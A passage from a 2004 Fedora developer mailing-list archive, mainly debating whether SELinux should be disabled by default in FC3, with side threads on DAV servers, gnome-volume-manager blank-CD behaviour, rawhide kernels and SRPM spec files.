Oct 7 15:44:52 2004 From: sds at epoch.ncsc.mil (Stephen Smalley) Date: Thu, 07 Oct 2004 11:44:52 -0400 Subject: SELinux should be off by default in FC3 In-Reply-To: <1097163690.9722.14.camel@ws.1sttier.net> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097121989.4627.6.camel@nexus.verbum.private> <1097132840.5835.2.camel@proton.cygnusx-1.org> <1097153198.13339.10.camel@moss-spartans.epoch.ncsc.mil> <1097163690.9722.14.camel@ws.1sttier.net> Message-ID: <1097163892.13339.93.camel@moss-spartans.epoch.ncsc.mil> On Thu, 2004-10-07 at 11:41, Nathan Grennan wrote: > I think overall it what it comes down to is that SELinux micro-manages > security way too much. SELinux's level of security might be suitable in > some situations, but will be too much of a burden in most situations. http://www.nsa.gov/selinux/papers/inevit-abs.cfm -- Stephen Smalley National Security Agency From jorton at redhat.com Thu Oct 7 15:49:10 2004 From: jorton at redhat.com (Joe Orton) Date: Thu, 7 Oct 2004 16:49:10 +0100 Subject: DAV In-Reply-To: <41655831.4040908@math.unl.edu> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097133615.2789.12.camel@laptop.fenrus.com> <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> <20041007142526.GC1411660@hiwaay.net> <20041007144403.GA1073@osiris.silug.org> <41655831.4040908@math.unl.edu> Message-ID: <20041007154910.GA27709@redhat.com> On Thu, Oct 07, 2004 at 09:52:33AM -0500, Rex Dieter wrote: > Steven Pritchard wrote: > >On Thu, Oct 07, 2004 at 09:25:26AM -0500, Chris Adams wrote: > > > >>Lots of web users use FTP to upload files. FTP has a chmod command; it > >>does not have commands to alter SELinux labels (and even if such > >>commands were added, you aren't liable to get WSFTP and such to change > >>just to support a few Linux servers). > >> > >>Not all users have shell access either. > > > > > >Switch to DAV maybe? > > I have yet to find any usable DAV client/server implementations for > linux (though I admit that I haven't looked *that* hard) that support > ~user directories. The *client* doesn't care about ~user directories. Having a DAV server which can manipulate files in ~user directories under ownership of said user requires running the server as root, which is really not something you want to do. joe From walters at redhat.com Thu Oct 7 15:52:09 2004 From: walters at redhat.com (Colin Walters) Date: Thu, 07 Oct 2004 11:52:09 -0400 Subject: SELinux should be off by default in FC3 In-Reply-To: <20041007153028.GG1411660@hiwaay.net> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097133615.2789.12.camel@laptop.fenrus.com> <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> <20041007142526.GC1411660@hiwaay.net> <1097159279.13339.59.camel@moss-spartans.epoch.ncsc.mil> <6AA69375D6D857D85562F184@[10.169.6.246]> <20041007153028.GG1411660@hiwaay.net> Message-ID: <1097164330.8543.10.camel@nexus.verbum.private> On Thu, 2004-10-07 at 10:30 -0500, Chris Adams wrote: > We sell web hosting, and believe me, customers will upload their files > to just about anywhere on the server they have write access (and they'll > try other places without knowing why). Shared web hosting is a perfect > environment for SELinux, but this would be a killer. Explaining that > their CGIs have to have execute permission is hard enough. I think that explaining what your users need to do for SELinux in this case is quite similar to explaining execute permissions. CGI scripts for example in the default Apache policy need to be httpd_user_script_exec_t. CGI script data needs to be httpd_user_script_ro_t or httpd_user_script_rw_t. There's no way for SELinux to automatically guess what data you want writable by the CGI and what you don't. You simply need to have users be aware of chcon -t if you want the additional security. Although: > Also, as someone else mentioned, people do intentionally upload things > in one place (out of the web directory) and then move them into place > after the upload is complete. This is especially common when uploading > a whole new version of a site. There could be higher level tools built here that would automatically set corresponding types when a new site is uploaded. You'd have your users upload their website into a "staging" area, and then a cron job would move it into place atomically and relabel it as necessary. I think it'd also be very useful to have tools that parsed the SELinux audit logs and warned an administrator if a user's web site seemed not to be set up correctly; you could even have it automatically relabel there too, but there are tradeoffs. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From walters at redhat.com Thu Oct 7 15:54:35 2004 From: walters at redhat.com (Colin Walters) Date: Thu, 07 Oct 2004 11:54:35 -0400 Subject: SELinux should be off by default in FC3 In-Reply-To: <20041007142526.GC1411660@hiwaay.net> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097133615.2789.12.camel@laptop.fenrus.com> <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> <20041007142526.GC1411660@hiwaay.net> Message-ID: <1097164475.8543.13.camel@nexus.verbum.private> On Thu, 2004-10-07 at 09:25 -0500, Chris Adams wrote: > Once upon a time, Stephen Smalley said: > > > The goal of the default selinux policy is to be invisible unless you're > > > an exploit. Seems like it's not ;( > > > > Teaching users to use restorecon in the same manner as chmod/chown if > > they want to export data to one of the confined services like apache is > > not an undue burden. > > Lots of web users use FTP to upload files. FTP has a chmod command; it > does not have commands to alter SELinux labels Yes, that is a problem. Ideally we would get such support added. Having SELinux support in the kernel and a few core utilities is only the beginning - I'd like to see support for SELinux throughout all the Linux tools, and for it to become as standard a part of Linux security as the normal DAC is. With the default targeted policy I think we're on the right path. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From rdieter at math.unl.edu Thu Oct 7 15:55:47 2004 From: rdieter at math.unl.edu (Rex Dieter) Date: Thu, 07 Oct 2004 10:55:47 -0500 Subject: DAV In-Reply-To: <20041007154910.GA27709@redhat.com> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097133615.2789.12.camel@laptop.fenrus.com> <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> <20041007142526.GC1411660@hiwaay.net> <20041007144403.GA1073@osiris.silug.org> <41655831.4040908@math.unl.edu> <20041007154910.GA27709@redhat.com> Message-ID: <41656703.4020007@math.unl.edu> Joe Orton wrote: > On Thu, Oct 07, 2004 at 09:52:33AM -0500, Rex Dieter wrote: >>I have yet to find any usable DAV client/server implementations for >>linux (though I admit that I haven't looked *that* hard) that support >>~user directories. > > > The *client* doesn't care about ~user directories. Having a DAV server > which can manipulate files in ~user directories under ownership of said > user requires running the server as root, which is really not something > you want to do. So, my point is validated? DAV and ~user directories don't mix? -- Rex From alan at redhat.com Thu Oct 7 15:57:27 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 7 Oct 2004 11:57:27 -0400 Subject: DAV In-Reply-To: <20041007154910.GA27709@redhat.com> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097133615.2789.12.camel@laptop.fenrus.com> <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> <20041007142526.GC1411660@hiwaay.net> <20041007144403.GA1073@osiris.silug.org> <41655831.4040908@math.unl.edu> <20041007154910.GA27709@redhat.com> Message-ID: <20041007155727.GA12649@devserv.devel.redhat.com> On Thu, Oct 07, 2004 at 04:49:10PM +0100, Joe Orton wrote: > The *client* doesn't care about ~user directories. Having a DAV server > which can manipulate files in ~user directories under ownership of said > user requires running the server as root, which is really not something > you want to do. Your apache needs to have setfsuid rights, that is all From johnp at redhat.com Thu Oct 7 16:02:57 2004 From: johnp at redhat.com (John (J5) Palmieri) Date: Thu, 07 Oct 2004 12:02:57 -0400 Subject: gnome-volume-manager blank CD defaults Message-ID: <1097164977.22577.6.camel@remedyz.boston.redhat.com> I wanted to get the Fedora communities opinion on popping up a burn:// folder when a blank CD is inserted into the drive. Right now we pop it up which makes sense because if you pop in a blank CD most likely you want to burn to it. Problems come in when a user is using browser mode in Nautilus. If you pop the CD in and out a couple of times you get a bunch of burn:// folders. Since you get a CD icon on the desktop which you can double click to open up the burn:// folder I am wondering if I should turn this off by default. I am of no opinion either way so I want to see how everyone else feels. -- John (J5) Palmieri Associate Software Engineer Desktop Group Red Hat, Inc. Blog: http://martianrock.com From walters at redhat.com Thu Oct 7 16:06:15 2004 From: walters at redhat.com (Colin Walters) Date: Thu, 07 Oct 2004 12:06:15 -0400 Subject: SELinux should be off by default in FC3 In-Reply-To: <1097163690.9722.14.camel@ws.1sttier.net> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097121989.4627.6.camel@nexus.verbum.private> <1097132840.5835.2.camel@proton.cygnusx-1.org> <1097153198.13339.10.camel@moss-spartans.epoch.ncsc.mil> <1097163690.9722.14.camel@ws.1sttier.net> Message-ID: <1097165175.8543.21.camel@nexus.verbum.private> On Thu, 2004-10-07 at 08:41 -0700, Nathan Grennan wrote: > I think this is asking too much, especially when the complexity level is > such that users won't generally be manually setting security context, > but letting the system figure out the correct context for them via > restorecon. That says to me it is more of a automation problem than it > is a education problem. No. As I said in my other mail, particularly in the Apache case, either the user needs to be aware of them, or you need much higher-level domain-specific tools built that handle it automatically. The Apache policy is somewhat special in that it defines new types that users are allowed to change to and from; typically, users are not allowed to relabel files. Generally SELinux is otherwise transparent - when you create a file in your home directory it automatically gets the type user_home_t. However, as we move towards finer-grained controls on user applications like Mozilla, users will have to become more generally aware of security contexts and how to change them. -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From davej at redhat.com Thu Oct 7 16:06:36 2004 From: davej at redhat.com (Dave Jones) Date: Thu, 7 Oct 2004 12:06:36 -0400 Subject: Current rawhide kernel? In-Reply-To: <1097152164.13339.1.camel@moss-spartans.epoch.ncsc.mil> References: <1097100264.3434.4.camel@tiger> <20041006221719.GF28226@redhat.com> <1097130536.6863.17.camel@localhost.localdomain> <1097152164.13339.1.camel@moss-spartans.epoch.ncsc.mil> Message-ID: <20041007160636.GA18427@redhat.com> On Thu, Oct 07, 2004 at 08:29:25AM -0400, Stephen Smalley wrote: > On Thu, 2004-10-07 at 02:28, Paul wrote: > > I've been running 590 on the laptop (used every day for about 12 hours a > > day) since it came out. Never a moments hassle. > > Was SELinux enabled or disabled? At some point, Arjan's kernels dropped > the tmpfs xattr handler patch needed to allow udev/tmpfs to work with > SELinux, but it may have been restored (and the support has been > submitted upstream now in a different form and is in the -mm patches, I > think). A variant of the -mm xattr patch is merged into the 598 kernel I built yesterday. Dave From jspaleta at gmail.com Thu Oct 7 16:07:37 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Thu, 7 Oct 2004 12:07:37 -0400 Subject: SELinux should be off by default in FC3 In-Reply-To: <1097163690.9722.14.camel@ws.1sttier.net> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097121989.4627.6.camel@nexus.verbum.private> <1097132840.5835.2.camel@proton.cygnusx-1.org> <1097153198.13339.10.camel@moss-spartans.epoch.ncsc.mil> <1097163690.9722.14.camel@ws.1sttier.net> Message-ID: <604aa79104100709077fe8d03e@mail.gmail.com> On Thu, 07 Oct 2004 08:41:30 -0700, Nathan Grennan > Security contexts are generally hidden, their are so many more, and are > a lot more complex. Owner/Group/Permissions/Umask are setup in such a > way that they generally not a problem, unlike security contexts. I think there is a strong point about complexity of the settings space. The fact that ownership permission and umask use a small finite settings space makes the ui for changing those settings managable across a number of tools. For example lftp client understands chmod. does it understand restorecon? > I think this is asking too much, especially when the complexity level is > such that users won't generally be manually setting security context, > but letting the system figure out the correct context for them via > restorecon I think there is a point here too.. but let me rephrase it by asking a question. Is there ever any value in having files in a path NOT be the correct security context for that path? If there is never any value in leaving security contexts 'stale' after a mv operation, and it is always expected that a user will be required to run restorecon for useful operation. It seems reasonable to me that mv should be applying the correct context for the new path location automatically. Are there tools in userspace with 'reasonable' ui that would let a user manually change context on a subset of files contrary to what restorecon would do? If there is a lack of tools that let users delibrately create out of sync security contexts, thats a major difference between how ownership and permissions are handled. -jef"notice all those if's....."spaleta From davej at redhat.com Thu Oct 7 16:09:04 2004 From: davej at redhat.com (Dave Jones) Date: Thu, 7 Oct 2004 12:09:04 -0400 Subject: Current rawhide kernel? In-Reply-To: <20041007151523.B24612@ryoko.camperquake.de> References: <1097100264.3434.4.camel@tiger> <20041006221719.GF28226@redhat.com> <20041007151523.B24612@ryoko.camperquake.de> Message-ID: <20041007160903.GB18427@redhat.com> On Thu, Oct 07, 2004 at 03:15:23PM +0200, Ralf Ertzinger wrote: > > > Somehow I am running kernel-2.6.8-1.590, I got this from rawhide maybe a > > > week ago. Then the kernel version went back to .541. > > .590 was bad aparently, and causes zillions of selinux warnings. > It worked fine for me, but I've got selinux disabled, anyway. > > May I ask what happened to Arjan's kernel workbench > (http://people.redhat.com/arjanv/2.5/RPMS.kernel/) ? In short: I'm building the Fedora kernels again. What you find in the development tree should always be the latest and greatest. Dave From fedora-devel at camperquake.de Thu Oct 7 16:23:01 2004 From: fedora-devel at camperquake.de (Ralf Ertzinger) Date: Thu, 7 Oct 2004 18:23:01 +0200 Subject: SELinux should be off by default in FC3 In-Reply-To: <20041007144403.GA1073@osiris.silug.org> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097133615.2789.12.camel@laptop.fenrus.com> <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> <20041007142526.GC1411660@hiwaay.net> <20041007144403.GA1073@osiris.silug.org> Message-ID: <20041007182301.31ef6aa3@nausicaa.camperquake.de> Hi. Steven Pritchard wrote: > Switch to DAV maybe? > > FTP sucks for all sorts of other reasons... :-) If it takes selinux to make ftp go away, I'm all for it. -- Dare to slack: When birds fly in the right formation, they need only exert half the effort. Even in nature, teamwork results in collective lazyness. -- Despair Inc. calendar, May 2001 From ville.skytta at iki.fi Thu Oct 7 16:30:47 2004 From: ville.skytta at iki.fi (Ville =?ISO-8859-1?Q?Skytt=E4?=) Date: Thu, 07 Oct 2004 19:30:47 +0300 Subject: SRPM's and determining spec file In-Reply-To: <20041006200040.12646.qmail@web50604.mail.yahoo.com> References: <20041006200040.12646.qmail@web50604.mail.yahoo.com> Message-ID: <1097166646.16929.3.camel@bobcat.mine.nu> On Wed, 2004-10-06 at 23:00, Steve G wrote: > >What do you do if there's more than one spec file? > > What srpm has more than one? Can't tell offhand, but for example there at least used to be a guideline in www.fedora.us somewhere stating that if providing an update over a Fedora Core package, the original unmodified upstream (FC) specfile should be included as a source in the SRPM. Can't find that now, though. From clydekunkel7734 at cox.net Thu Oct 7 16:31:30 2004 From: clydekunkel7734 at cox.net (Clyde E. Kunkel) Date: Thu, 07 Oct 2004 12:31:30 -0400 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <1097164977.22577.6.camel@remedyz.boston.redhat.com> References: <1097164977.22577.6.camel@remedyz.boston.redhat.com> Message-ID: <1097166690.5310.3.camel@localhost.localdomain> On Thu, 2004-10-07 at 12:02 -0400, John (J5) Palmieri wrote: > I wanted to get the Fedora communities opinion on popping up a burn:// > folder when a blank CD is inserted into the drive. Right now we pop it > up which makes sense because if you pop in a blank CD most likely you > want to burn to it. Problems come in when a user is using browser mode > in Nautilus. If you pop the CD in and out a couple of times you get a > bunch of burn:// folders. Since you get a CD icon on the desktop which > you can double click to open up the burn:// folder I am wondering if I > should turn this off by default. I am of no opinion either way so I > want to see how everyone else feels. > > -- > John (J5) Palmieri > Associate Software Engineer > Desktop Group > Red Hat, Inc. > Blog: http://martianrock.com > I find the pop-up somewhat annoying since I use k3b. I vote for turning it off. From jorton at redhat.com Thu Oct 7 16:36:02 2004 From: jorton at redhat.com (Joe Orton) Date: Thu, 7 Oct 2004 17:36:02 +0100 Subject: SELinux should be off by default in FC3 In-Reply-To: <1097164330.8543.10.camel@nexus.verbum.private> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097133615.2789.12.camel@laptop.fenrus.com> <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> <20041007142526.GC1411660@hiwaay.net> <1097159279.13339.59.camel@moss-spartans.epoch.ncsc.mil> <6AA69375D6D857D85562F184@[10.169.6.246]> <20041007153028.GG1411660@hiwaay.net> <1097164330.8543.10.camel@nexus.verbum.private> Message-ID: <20041007163602.GA6445@redhat.com> On Thu, Oct 07, 2004 at 11:52:09AM -0400, Colin Walters wrote: > On Thu, 2004-10-07 at 10:30 -0500, Chris Adams wrote: > > > We sell web hosting, and believe me, customers will upload their files > > to just about anywhere on the server they have write access (and they'll > > try other places without knowing why). Shared web hosting is a perfect > > environment for SELinux, but this would be a killer. Explaining that > > their CGIs have to have execute permission is hard enough. > > I think that explaining what your users need to do for SELinux in this > case is quite similar to explaining execute permissions. > > CGI scripts for example in the default Apache policy need to be > httpd_user_script_exec_t. CGI script data needs to be > httpd_user_script_ro_t or httpd_user_script_rw_t. There's no way for > SELinux to automatically guess what data you want writable by the CGI > and what you don't. > > You simply need to have users be aware of chcon -t if you want the > additional security. Although: That's surely not the whole story if SELinux is on by default and Apache is covered by the targetted policy. The fact seems to be that you have to know and understand SELinux to be able to do the normal things you do with Apache, e.g. write CGI scripts, or change httpd.conf. I can't help thinking this will be a large source of user confusion. And the stderr-eating behaviour is very annoying. # service httpd configtest # ... should print "OK". joe From mandreiana at rdslink.ro Thu Oct 7 16:36:30 2004 From: mandreiana at rdslink.ro (Marius Andreiana) Date: Thu, 07 Oct 2004 19:36:30 +0300 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <1097164977.22577.6.camel@remedyz.boston.redhat.com> References: <1097164977.22577.6.camel@remedyz.boston.redhat.com> Message-ID: <1097166990.17313.14.camel@marte.biciclete.ro> A problem I noticed: I've set gnome-volume-manager to open k3b instead of burn:// When burning 1st CD it went ok. When inserting the 2nd CD, k3b is opened again although it was already open. Could it check first if the application specified by user is already running? Maybe this solves multiple burn:// folders too. I don't know how to check in a reliable way if the application is already running. ps aux|grep username|grep works usually, but it's ugly. It won't work for burn:// -- Marius Andreiana Galuna - Solutii Linux in Romania http://www.galuna.ro From jspaleta at gmail.com Thu Oct 7 16:37:28 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Thu, 7 Oct 2004 12:37:28 -0400 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <1097164977.22577.6.camel@remedyz.boston.redhat.com> References: <1097164977.22577.6.camel@remedyz.boston.redhat.com> Message-ID: <604aa791041007093736233066@mail.gmail.com> On Thu, 07 Oct 2004 12:02:57 -0400, John (J5) Palmieri wrote: > I wanted to get the Fedora communities opinion on popping up a burn:// > folder when a blank CD is inserted into the drive. Right now we pop it > up which makes sense because if you pop in a blank CD most likely you > want to burn to it. Problems come in when a user is using browser mode > in Nautilus. If you pop the CD in and out a couple of times you get a > bunch of burn:// folders. Since you get a CD icon on the desktop which > you can double click to open up the burn:// folder I am wondering if I > should turn this off by default. I am of no opinion either way so I > want to see how everyone else feels. 1) what toggle in the volume management preference gui turns the burn window appearing on and off? 2) Considering that browser mode is NOT the default mode of operation, i find it difficult to justify turning off a default setting because its not ideal for browser mode. So any argument as to why it should or shouldn't be on by default in context of a default desktop experience holds large buckets more water than any discussion primarily backed by whats happening in non-default nautilus browser mode. What matters is if all the defaults together make for the best experience. If someone sets nautilus to browser mode and finds the volume management defaults to no longer be ideal, they are free to reconfigure volume management settings as well to create the customized experience they like best. 3)I say if it makes sense to open up a window for other types of media by default then it should make sense for blank media as well. I personally hate having any window open by default for any media...but I'm not going to suggest my personal preference should be the default. I'm not overly burdened by toggling the volume management preferences to suit my tastes. But I think consistency on handling all media in a similar way is important. So if by default if data cds are going to open up a window, i think blank cds should as well. To underscore that fact, I think people unfamiliar with nautilus's cd burning features are going to benefit by seeing a burn window open up for them. -jef From fedora-devel at camperquake.de Thu Oct 7 16:38:26 2004 From: fedora-devel at camperquake.de (Ralf Ertzinger) Date: Thu, 7 Oct 2004 18:38:26 +0200 Subject: gnome-volume-manager blank CD defaults In-Reply-To: <1097164977.22577.6.camel@remedyz.boston.redhat.com> References: <1097164977.22577.6.camel@remedyz.boston.redhat.com> Message-ID: <20041007183826.2c9ed6d9@nausicaa.camperquake.de> Hi. "John (J5) Palmieri" wrote: > bunch of burn:// folders. Since you get a CD icon on the desktop which > you can double click to open up the burn:// folder I am wondering if I > should turn this off by default. I am of no opinion either way so I > want to see how everyone else feels. Is that the same option that can be disabled via Preferences/Removable Storage? -- If you can keep your head when all about you men are losing theirs... then perhaps you haven't grasped the full severity of the situation. From jorton at redhat.com Thu Oct 7 16:41:38 2004 From: jorton at redhat.com (Joe Orton) Date: Thu, 7 Oct 2004 17:41:38 +0100 Subject: DAV In-Reply-To: <20041007155727.GA12649@devserv.devel.redhat.com> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097133615.2789.12.camel@laptop.fenrus.com> <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> <20041007142526.GC1411660@hiwaay.net> <20041007144403.GA1073@osiris.silug.org> <41655831.4040908@math.unl.edu> <20041007154910.GA27709@redhat.com> <20041007155727.GA12649@devserv.devel.redhat.com> Message-ID: <20041007164138.GB6445@redhat.com> On Thu, Oct 07, 2004 at 11:57:27AM -0400, Alan Cox wrote: > On Thu, Oct 07, 2004 at 04:49:10PM +0100, Joe Orton wrote: > > The *client* doesn't care about ~user directories. Having a DAV server > > which can manipulate files in ~user directories under ownership of said > > user requires running the server as root, which is really not something > > you want to do. > > Your apache needs to have setfsuid rights, that is all Are you talking about capabilities or SELinux policy there? Does the capability bit not then allow children to setfsuid(0) and write files as root? joe From dhollis at davehollis.com Thu Oct 7 16:40:19 2004 From: dhollis at davehollis.com (David Hollis) Date: Thu, 07 Oct 2004 12:40:19 -0400 Subject: SELinux should be off by default in FC3 In-Reply-To: <1097163690.9722.14.camel@ws.1sttier.net> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097121989.4627.6.camel@nexus.verbum.private> <1097132840.5835.2.camel@proton.cygnusx-1.org> <1097153198.13339.10.camel@moss-spartans.epoch.ncsc.mil> <1097163690.9722.14.camel@ws.1sttier.net> Message-ID: <1097167220.3850.15.camel@dhollis-lnx.centricconsulting.com> On Thu, 2004-10-07 at 08:41 -0700, Nathan Grennan wrote: > I think overall it what it comes down to is that SELinux micro-manages > security way too much. SELinux's level of security might be suitable in > some situations, but will be too much of a burden in most situations. > Not to put SELinux in bad company, but the level of security provided by SELinux is very similar to what is provided by the Windows NT/XP security system and that doesn't seem to bother people too much. Of course, MS essentially turns it off to prevent that! I think the crux of this thread is that there are likely to be cases (especially short-term) where SELinux poses a burden. While some of these cases may be reasonably common (hosting customers FTP-ing up files, etc), I really don't think they justify disabling SELinux as a whole out-of-the-box. If RH was to do that, they might as well stop spending any time developing SELinux and all of us Fedora users might as well stick with the standard UNIX security system. If you find that SELinux doesn't work in your environment due to various reasons, it is quite easy to disable it though a much better alternative would be to work with the RH folks to get it to work properly in your environment. And don't forget - that may mean changing some of YOUR practices to make it work. -- David Hollis From linux_4ever at yahoo.com Thu Oct 7 16:45:47 2004 From: linux_4ever at yahoo.com (Steve G) Date: Thu, 7 Oct 2004 09:45:47 -0700 (PDT) Subject: SRPM's and determining spec file In-Reply-To: <1097166646.16929.3.camel@bobcat.mine.nu> Message-ID: <20041007164547.58483.qmail@web50604.mail.yahoo.com> >Can't tell offhand, but for example there at least used to be a >guideline in www.fedora.us somewhere stating that if providing an update >over a Fedora Core package, the original unmodified upstream (FC) >specfile should be included as a source in the SRPM. I think its a bad idea to have a spec file contained as a SOURCE. It would make it confusing to decide which one to use after doing a rpm -i. You would immediately be faced with doing an rpmbuild -bb something. I use a find command after opening the srpm to locate the spec file. It has never failed to feed the correct spec file to my build system. (I'll be releasing the build system sometime in the next couple days...just finishing to Text GUI for it now.) Spec files from upstream are almost always in the tarball so that you can do something like rpmbuild -tb xinetd-2.3.13.tar.gz. The find command won't see these spec files since they aren't visible until after the rpmbuild command. -Steve Grubb _______________________________ Do you Yahoo!? Declare Yourself - Register online to vote today! http://vote.yahoo.com From alan at redhat.com Thu Oct 7 16:51:36 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 7 Oct 2004 12:51:36 -0400 Subject: DAV In-Reply-To: <20041007164138.GB6445@redhat.com> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097133615.2789.12.camel@laptop.fenrus.com> <1097154001.13339.24.camel@moss-spartans.epoch.ncsc.mil> <20041007142526.GC1411660@hiwaay.net> <20041007144403.GA1073@osiris.silug.org> <41655831.4040908@math.unl.edu> <20041007154910.GA27709@redhat.com> <20041007155727.GA12649@devserv.devel.redhat.com> <20041007164138.GB6445@redhat.com> Message-ID: <20041007165136.GA9811@devserv.devel.redhat.com> On Thu, Oct 07, 2004 at 05:41:38PM +0100, Joe Orton wrote: > > Your apache needs to have setfsuid rights, that is all > > Are you talking about capabilities or SELinux policy there? Does the > capability bit not then allow children to setfsuid(0) and write files as > root? You have control over how its inherited depending on whether you admit to being capability aware or not. In the sane case you'd turn it off when execing just as you make sure files all get closed. Alan From ville.skytta at iki.fi Thu Oct 7 16:56:01 2004 From: ville.skytta at iki.fi (Ville =?ISO-8859-1?Q?Skytt=E4?=) Date: Thu, 07 Oct 2004 19:56:01 +0300 Subject: SRPM's and determining spec file In-Reply-To: <20041007164547.58483.qmail@web50604.mail.yahoo.com> References: <20041007164547.58483.qmail@web50604.mail.yahoo.com> Message-ID: <1097168160.16929.11.camel@bobcat.mine.nu> On Thu, 2004-10-07 at 19:45, Steve G wrote: > I think its a bad idea to have a spec file contained as a SOURCE. I'm not a big fan of that idea either, but: > It would make > it confusing to decide which one to use after doing a rpm -i. "rpm -i" on a source rpm will place the real specfile in %_specdir (/some/where/SPECS), and all sources in %_sourcedir (/some/where/SOURCES). From sds at epoch.ncsc.mil Thu Oct 7 16:56:40 2004 From: sds at epoch.ncsc.mil (Stephen Smalley) Date: Thu, 07 Oct 2004 12:56:40 -0400 Subject: SELinux should be off by default in FC3 In-Reply-To: <604aa79104100709077fe8d03e@mail.gmail.com> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097121989.4627.6.camel@nexus.verbum.private> <1097132840.5835.2.camel@proton.cygnusx-1.org> <1097153198.13339.10.camel@moss-spartans.epoch.ncsc.mil> <1097163690.9722.14.camel@ws.1sttier.net> <604aa79104100709077fe8d03e@mail.gmail.com> Message-ID: <1097168200.13339.152.camel@moss-spartans.epoch.ncsc.mil> On Thu, 2004-10-07 at 12:07, Jeff Spaleta wrote: > I think there is a strong point about complexity of the settings > space. The fact that ownership permission and umask use a small finite > settings space makes the ui for changing those settings managable > across a number of tools. Security contexts are simply security equivalence classes, i.e. everything with the same security context is handled identically as far as the security policy is concerned. The permissions granted to a given security context (the parallel to your DAC mode bits) are defined centrally in the policy configuration, and you can analyze the entire policy there, including the maximum possible privilege escalation and information flows allowed. Contrast with DAC mode bits or ACLs, where the policy is effectively scattered throughout the filesystem and neither privilege escalation nor information flow are bounded in any way. > For example lftp client understands chmod. does it understand restorecon? Not yet, AFAIK. Nor will it likely ever if SELinux is disabled by default and it remains limited to a very small user community. > I think there is a point here too.. but let me rephrase it by asking a > question. Is there ever any value in having files in a path NOT be > the correct security context for that path? Yes, there is value in customizing your file contexts beyond the default settings. > Are there tools in userspace with 'reasonable' ui that would let a > user manually change context on a subset of files contrary to what > restorecon would do? If there is a lack of tools that let users > delibrately create out of sync security contexts, thats a major > difference between how ownership and permissions are handled. chcon(1) is the equivalent to chown/chmod. Mandatory access control is a (to steal a term) disruptive technology, but one that is fundamentally necessary if one is ever going to be able to effectively control or even reliably monitor what is truly happening on computing systems. With only DAC, the code that acts on our behalf operates without any restraint and with precious little protection against subversion. If you want to have a hope of confining the damage caused by flawed and/or malicious program, protecting your application security mechanisms against tampering and bypass, separating your sensitive information from your public information, protecting information on which your operations depend from corruption, or ensuring that your data is processed as required, then MAC is a necessary building block, not optional. As far as freedom is concerned, one always has the option of disabling SELinux at install time or post-install; I don't think anyone has any plans to change that. But disabling by default has a huge impact on uptake of this disruptive technology and on bringing sufficient resources to bear to fully integrate it into the entire system. -- Stephen Smalley National Security Agency From sds at epoch.ncsc.mil Thu Oct 7 17:00:09 2004 From: sds at epoch.ncsc.mil (Stephen Smalley) Date: Thu, 07 Oct 2004 13:00:09 -0400 Subject: SELinux should be off by default in FC3 In-Reply-To: <1097167220.3850.15.camel@dhollis-lnx.centricconsulting.com> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097121989.4627.6.camel@nexus.verbum.private> <1097132840.5835.2.camel@proton.cygnusx-1.org> <1097153198.13339.10.camel@moss-spartans.epoch.ncsc.mil> <1097163690.9722.14.camel@ws.1sttier.net> <1097167220.3850.15.camel@dhollis-lnx.centricconsulting.com> Message-ID: <1097168409.13339.158.camel@moss-spartans.epoch.ncsc.mil> On Thu, 2004-10-07 at 12:40, David Hollis wrote: > Not to put SELinux in bad company, but the level of security provided by > SELinux is very similar to what is provided by the Windows NT/XP > security system and that doesn't seem to bother people too much. Of > course, MS essentially turns it off to prevent that! AFAIK, Windows does not provide mandatory access control. ACLs != MAC. > If you find that > SELinux doesn't work in your environment due to various reasons, it is > quite easy to disable it though a much better alternative would be to > work with the RH folks to get it to work properly in your environment. > And don't forget - that may mean changing some of YOUR practices to make > it work. Or alternatively, customize the policy to fit your needs. That is why SELinux is flexible - because no single policy meets everyone's needs. -- Stephen Smalley National Security Agency From arjanv at redhat.com Thu Oct 7 17:11:11 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Thu, 07 Oct 2004 19:11:11 +0200 Subject: SELinux should be off by default in FC3 In-Reply-To: <1097168409.13339.158.camel@moss-spartans.epoch.ncsc.mil> References: <1097105063.4711.37.camel@ws.1sttier.net> <1097121989.4627.6.camel@nexus.verbum.private> <1097132840.5835.2.camel@proton.cygnusx-1.org> <1097153198.13339.10.camel@moss-spartans.epoch.ncsc.mil> <1097163690.9722.14.camel@ws.1sttier.net> <1097167220.3850.15.camel@dhollis-lnx.centricconsulting.com> <1097168409.13339.158.camel@moss-spartans.epoch.ncsc.mil> Message-ID: <1097169071.2789.32.camel@laptop.fenrus.com> On Thu, 2004-10-07 at 19:00, Stephen Smalley wrote: > Or alternatively, customize the policy to fit your needs. That is why > SELinux is flexible - because no single policy meets everyone's needs. while that is true it sure should be possible to have a policy that can be used by default and doesn't change existing "this works" practice. Even if that 